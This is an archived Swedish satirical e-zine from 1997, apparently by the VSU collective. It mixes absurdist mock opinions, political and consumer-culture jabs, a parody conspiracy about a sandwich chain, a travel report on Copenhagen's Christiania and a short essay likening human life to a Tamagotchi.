Aftonbladet som genast blir till sig av lycka när dom får mer nyheter att gotta sig i. Jag berättar att det står en galen, naken man utanför polishuset i Nacka. Sen traskar jag lyckligt hem för att skriva denna text. // Doktor Fantasi of Glögg records ------------------------------------------------------------------------------ ******************************************* * GARANTERAT P0LiTiSKT iNK0RREKTA ÅSiKTER * ******************************************* Folk tycker en massa saker. En klassisk uppställning i marmor, med de tvenne stolta galjonsfigurerna och deras stolta lejonmanar stolt fladdrande i den stolta åsiktsvinden som politikerna har tagit för vana att vända sina kappor efter. De tvenne galjonsfigurernas namn? Tycho Brahe och Tycho Dååligh! (Jävligt högstående skämt i det här zinet, eller hur?) Nu är det dags även för oss att tycka till. -- Fan, jag verkligen äääälskar ju Eros Ramazotti och svensk reklamradio. Tom Cruise har också varit väldigt viktig för mig. The Beatles var väl OK, fast bara de första två albumen, sedan gick det utför. Fast några bra låtar fanns det ju på de sena albumen också, som "Yellow Submarine" och "Michelle". -- Det sägs ibland att vi lever i ett fritt samhälle, där var och en har ett fritt val i många situationer. Just nu är det dags att göra ett val som kommer att följa dig genom livet... Pick your Spice Girl (1-5): 1. Posh Spice 2. Sporty Spice 3. Scary Spice 4. Baby Spice 5. Sexy Spice Köp dig en Spice Girl, om du tror att hon kan värma dig när det blåser kallt. Men kom ihåg att du ska älska henne i nöd och lust. (Inget öppet köp, ingen bytesrätt!) -- Den postmoderna splittringen av subjektet - det finns inget sant jag, bara olika roller som spelas vid olika tillfällen; ett stort antal ryska dockor inuti varandra och längst in - bara tomhet. Ingen innersta docka som inte går att öppna... bla Derrida bla bla Husserl bla bla Sokal bla -- För övrigt hatar vi miljön, och fnittrar psykotiskt med stirrande ögon när vi häller i ett kilo akrylamid i toaletten varje kväll och spolar så att det rinner rakt igenom det buggande reningsverket ut i de allvarligt angripna svenska vattendragen. alt.pave.the.earth för helvete!!! GIFTTUNN0R!! DUMPNiNG!!! -- Har ni aldrig någonsin funderat på varför alla svenska banker har sina huvudkontor så nära Malmskillnadsgatan i Stockholm? Det har vi gjort. Det är dessutom intressant att politikerna på toppnivå måste hålla olika uppgörelser just i Amsterdam. Vad är det för fel på de svenska hororna? Duger de inte åt era åldrade gammelmansorgan? Ofta är det ack så givande att gå igenom saker på en väldigt elementär dagisnivå. Ett exempel på en sådan fråge- och svarssession kan vara som följer: - Vad ska vi ha politiker och hela deras "system" till? - De är till för att motverka marknadskrafterna, för att värna om individen så att denne inte blir dåligt behandlad av storföretagen. - Men varför har inte de svenska politikerna gjort detta de senaste decennierna då? Om detta är deras enda roll, och de helt har kommit från denna roll för att ägna sig åt skräp, är ju deras yrkesroll helt förfelad. Göran Persson och Göran Persson .. Men han äger väl inga tröjor från vare sig Fred Perry eller Lonsdale? Har han någonsin varit på JUS och kollat in deras direktimporterade jackor från Londonmärket Vexed Generations? Nej men då så.. Köp lite speed garage-tolvor och håll käft. Gubbjävel. Dessutom föredrar vi absolut EMM och EMS framför EMU. Strictly data jämt!! Den fascistiska fascistfascismen är en fascistisk fascism, som måste ses som till stora delar fascistisk då den på många sätt kan ses som en fascistisk fascist-fascism som är avgjort fascistisk, fascistisk samt fascistisk. Lilla Smurfan! Kataleptisk föreställning! Georg Cantor, för helvete! Lille katt Lille katt Kattens päls är svart som natt Lille katt Lille katt Katten har fått fnatt -- Begreppet "vinnare" (nej, jag skrev inte "vinare", läs ordentligt nästa gång) är också intressant. Många själviska människor verkar tro att de är ena riktiga vinnare om de tjänar mycket pengar och gör karriär. Låt mig då påpeka att alla medarbetarna på det pennalistiska underhållningsprogrammet "Expedition: Robinsson" (mediajobb, tufft värre?) och de gamla läkarna som tvångssteriliserade tattare i Sverige för ett fåtal decennier sedan var högst välutbildade med flådiga villor och dyra vanor. Trots detta är bägge dessa yrkesgrupper så misslyckade som man kan bli. Att ha lyckats handlar inte om årsinkomst utan om passion och moral. Vi är heller inte alltför intresserade av alla dessa IT-horor, med limegröna logos och spermafläckar på stjärten. Ta bort Sprayskräpet! De är överflödiga! Att tjäna pengar på websidor, eller att "LÄGGA UPP SiG PÅ iNTERNET" som vi brukar kalla det, kan ju aldrig ses som en värdefull sysselsättning, då en Internetsida endast har ett existensberättigande om den är okommersiell och gjord av privatpersoner för att sprida information om deras hobbys. Allt övrigt är skräp och ska avlägnas med pincett från nätet. "I'm the operator of my Internet connection / By pressing down a special key / it does a world-wide search for me / I'm the operator of my Internet connection" För övrigt tycker vi att medelklassen kan ses som en typ av jättebebisar. Är det inte meningen att man ska växa ifrån stadiet "VILL HA! MIG! MER!" vid en relativt låg ålder? Om man ser på vissa människor som studerar ekonomi vid Stockholms Universitet så verkar denna process ha avstannat någonstans på vägen. Vi är lika hårt principfasta som Mats Hinze. Därmed blir vi också lika odrägliga att ha att göra med som Hinze. Bill Gates och Steven Spielberg är de två mest tragiska människor vi känner till, eftersom de inte har lyckats med något annat än att roffa pengar. Bill leder ett företag som gör usel mjukvara, och Steven gör lite usla filmer, men det är ju inget att bry sig om eftersom det finns tusen och åter tusen bättre programmerare och regissörer. De enda egenskaper de har som blir kvar är att de är rika, och det är ju inte viktigt. Att sparka på de som är svagare och att skamset smyga iväg med svansen mellan benen när de starkare sparkar på en är inte någon spännande egenskap. Det brukar t ex hundar klara av riktigt bra. Även de är medvetna om att det finns något som heter ägande, eftersom de gräver ner ben i jorden. Att vara människa måste således innehålla mer än hierarkibyggande och roffande av materiella fördelar. FLYTOCARRYEACHHISBURDENWEAREYOUNGDESPITETHEYEARSWEARECONCERN flytocarryeachhisburdenweareyoungdespitetheyearsweareconcern WEAREHOPEDESPITETHETIMES wearehopedespitethetimes -- Tyska coveralbum med Hansen: "Der Mmm-bop" och Heidegger and the Bass Aces: "I saw dasein, and it opened up my eyes, I saw dasein". Skalman: -Coverversionernas plastiga förljugenhet, och den oerhörda fokuseringen på yta! Hanson i OKEJ: "Vi vill flytta till Ljungby och bli elektroingenjörer!!". Stort scoop i nästa Veckorevyn. -- Vi har sett komplotten! Illuminatimaffian är tillbaks, och den här gången verkar det som om de kommer att lyckas att förslava oss. Så här är det: det finns en typ av smörgåsar som heter submarines. En stor kedja som säljer sådana heter Sandy's, och finns lite överallt i Stockholm. De poppar ständigt upp på nya ställen - precis som roliga Magic Mushrooms ute i skogen om hösten. Varför öppnar de nya ställen så ofta? Vi har alla svar, precis som ni har vant er vid från andra typer av media... Iallafall, vi har nu från en säker källa fått reda på att Sandy's vill ta över världen. Deras fyllning i smörgåsarna är beroendeframkallande, så all ohyra till hippa medelklass-Stockholmare kommer att fastna i ekorrhjulet och börja göra inbrott för att få dagens Sandy's-submarine-fix. De kommer att gå ner sig i smörgåsträsket och ingen gör något åt det! Polisen bara skrattar när vi ringer och tipsar dem om detta, och ingen av dagstidningarna tar in våra insändare!! NÅG0T MÅSTE GÖRAS!! ST0PPA SANDY'S!!! -- c o c a c o l a i s a l w a y s t h e o n e w h e n e v e r t h e r e i s f u n t h e r e s a l w a y s c o c a c o l a -- "VMS a la Playa" var en gammal fin hitlåt från det smaklösa 80-talet. Momo och de gråa herrarna, som LÄGGER UPP SIN FAMILJS DUKTIGT NORÉNFÖRTRÄNGT PSYKOTISKT TREVLIGHETSFASCISTISKA ***JULRIM*** PÅ SINA FULA JÄVLA HEMSIDOR SOM FYLLER UPP HELA DET JÄVLA SATANS HELVETES FÖRBANNADES NÄTET MED bajs när de Militanta Korvkioskägarna bryter sig in hos Grisens Vänner om natten då vi håller på att förlora en hel generation 90% skjuter upp familj och förort i armen istället för metamfetamin samtidigt som den unge VSU-skribenten tror att han är jävligt underground och rebellisk när han skriver sina texter på detta sätt utan att förstå att han bara är jobbig vilket råkar pågå vid samma tidpunkt som kommunalfullmäktige och deras makthavare diskuterar om man ska meja ner 18 eller 19 uteliggare med kulspruta varje dag för att få ett nyttigare och mer produktivt samhälle och en anarkist kommer in och föreslår att de först måste dela ut vapen till uteliggarna så att de har något att försvara sig med vilket får de feta äldre männen att torka sina rödlätta svettiga hjärtattacksförberedande pannor och utbrista "nej, vet hut! vi står högre och vet bättre! därför är det bara vi som ska vara beväpnade!" vilket fick den unge VSU-skribenten att få med en till punkt på listan av mer eller mindre begåvade idéer som han ville ha med i detta zine utan att orka skriva något riktigt av det vilket fick till följd ONearthASitISinHEAVEN EbeforeCexceptAFTERi att han bara skriver ihop alla dessa överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna stackars stackars stackars (humanoid) små överblivna artikelidéer i en enda totalt meningslös klump i ett fåfängt försök till att vara Joyce och Ginsberg fast utan svart basker fast med litet bockskägg eftersom han dog strax efter det att han överlevde ICANTTHINKCLEARYOULOOKTOMEFORREASONITSNOTTHEREICANTEVENRHYMEBEGINTHEBEGIN icantthinkclearyoulooktomeforreasonitsnotthereicantevenrhymebeginthebegin -- Ännu en reserapport: Japp, vi kom till sist iväg till Christiania. Alla politiker i hela Köpenhamn verkade motarbeta strömmen av urspårade utländska hippies, eftersom det var en massa hinder i ens väg från Centralstationen till denna fristad. Man fick gå långa omvägar, eftersom det var avstängt nere vid hamnen och dylikt. Men till sist kom vi ut över bron Vad-Den-Nu-Hette till den stadsdel som fristaden ligger i, och sedan gick det bättre. Du kan inte missa vägen när du har kommit så långt. Följ bara graffittin på stadens väggar. Den ska tilltaga i frekvens hela tiden. Om graffittin börjar minska när du går mot Christiania så har du gått fel. Väl innanför fristadens stadsmurar ser man en samling av skönt oplanerat utplacerade hus och en mängd glada danska hippies. Det är lätt att hitta till Pusher Street med alla hundarna, där man kan köpa soft drugs som man sedan kan röka - antingen öppet på området eller i skogen bakom om man är blyg. Vårt intryck av Christiania var positivt - alla verkade ha mer kontroll över sina liv, ha mer tolerans mot varandra och verkade göra mer för varandra än vad vanliga skötsamma svenskar brukar göra. Några sålde droger, någon miljövän levde i harmoni med miljön i något hörn, någon sålde egentillverkade kläder och smycken, och någon annan jobbade med fristadens fina kulturhus och dess konserter, konstutställningar och andra fina initiativ. Schysst ställe, helt klart. Dessutom har ju Köpenhamn iallafall förut haft en livskraftig husockupationsrörelse, vilket vi också tycker om. Ord till de svenska ungdomar som ockuperar ett kommunalt hus i utkanten av Stockholm just nu, förresten. Vi är definitivt på er sida! // Ofokuserad of F0KUS ------------------------------------------------------------------------------ ******************************************************** * P0G0 PEDAG0G PRESENTERAR: "MÄNNiSKAN, EN TAMAG0TCHi" * ******************************************************** Människoliv = Tamagotchi = Det gamla datorspelet "Little Computer People" = Konstutställningen "Sällskap I-VII". *BEEP* Du är en tamagotchi. ----- Människoliv har olika modes, och inom varje av dessa modes ------- är allting jävligt mycket mer förutbestämt och re ---p--- gelstyrt än vad någon av oss egentligen vill kännas vid. Li ---a-- kt en tamagotchi, eller likt en av de fiktiva karaktärern ---c- a i datorspelet "Little Computer People", eller likt en av de ---m- små gråa varelserna i konstutställningen "Sällskap I-VII" va ---a-- ndrar vi alla fram och tillbaka i vana miljöer och gör gam ---n--- la invanda saker. Studier, arbetsliv, fritid, att träffa k ------- ompisar, att träffa flickor - allt är totalt förutsägbart o ----- ch tråkar ut oss så jävla mycket. (Konvertera det där stycket till HTML, utan att använda <PRE> eller <IMG SRC="..">, om ni kan...) *BEEP* Människan är en PacMan. Ivrigt drar vi omkring i jakten på små runda piller i livets labyrinter. Pillren kan symbolisera trygghet eller pengar eller kulturella upplevelser eller vad du nu är road av. Samtidigt blir vi alla jagade av de onda spökena, som egentligen är andra PacMen (PacPersons? Politiskt korrekt och så) fast de är utklädda. Vissa spöken är dock inte PacPersons utan den hemske schackexperten till lieman. Alla dessa vill se dig död. Alla powerpills är slut. Du kan inte vinna, bara ta dig vidare till nästa level, som innehåller .. fler små runda piller. Grattis Gud. *BEEP* Livet i de flådiga fåtöljerna i villorna i Ljungby blir tråkigt efter en kvart. Man kan ägna de närmaste 15 minuterna efter detta åt att försöka ha sönder fåtöljerna och den duktiga Bang&Olufsen-TVn och stereon och den duktiga jävla Aalto-designen, men sedan är intressekapitalet definitivt förbrukat. *BEEP* Problemet är att detta inte bara gäller Ljungby utan allt annat du kan ta dig för med också. Regelmässigheten lyser bakom allt och förstör, som en röntgenstråle som obönhörligt avslöjar skelettet inuti de än så länge levande varelserna. SHE'LLMAKEABEAUTIFULFOSSILSHE'LLMAKEABEAUTIFULFOSSILSHE'LLMAKEABEAUTIFULFOSSI she'llmakeabeautifulfossilshe'llmakeabeautifulfossilshe'llmakeabeautifulfossi Därför skriver vi då och då på VSU, denna litterära motsvarighet till The Prodigys "Smack My Bitch Up"-video. Men även dessa angelägna zinesalster tråkar ofta ut oss, då vi är fruktansvärt anti. Visst, zines är ju faktiskt underground, så man slipper ju skönt nog normalitetens instinktiva kräkreflex, men det känns ändå inte helt rätt längre. Från oss alla till er alla: 0nd jul och ett 0nt nytt år 1998!!!!!!!!!!!! // VSU-redax

← Svenska e-zines (1990-2008)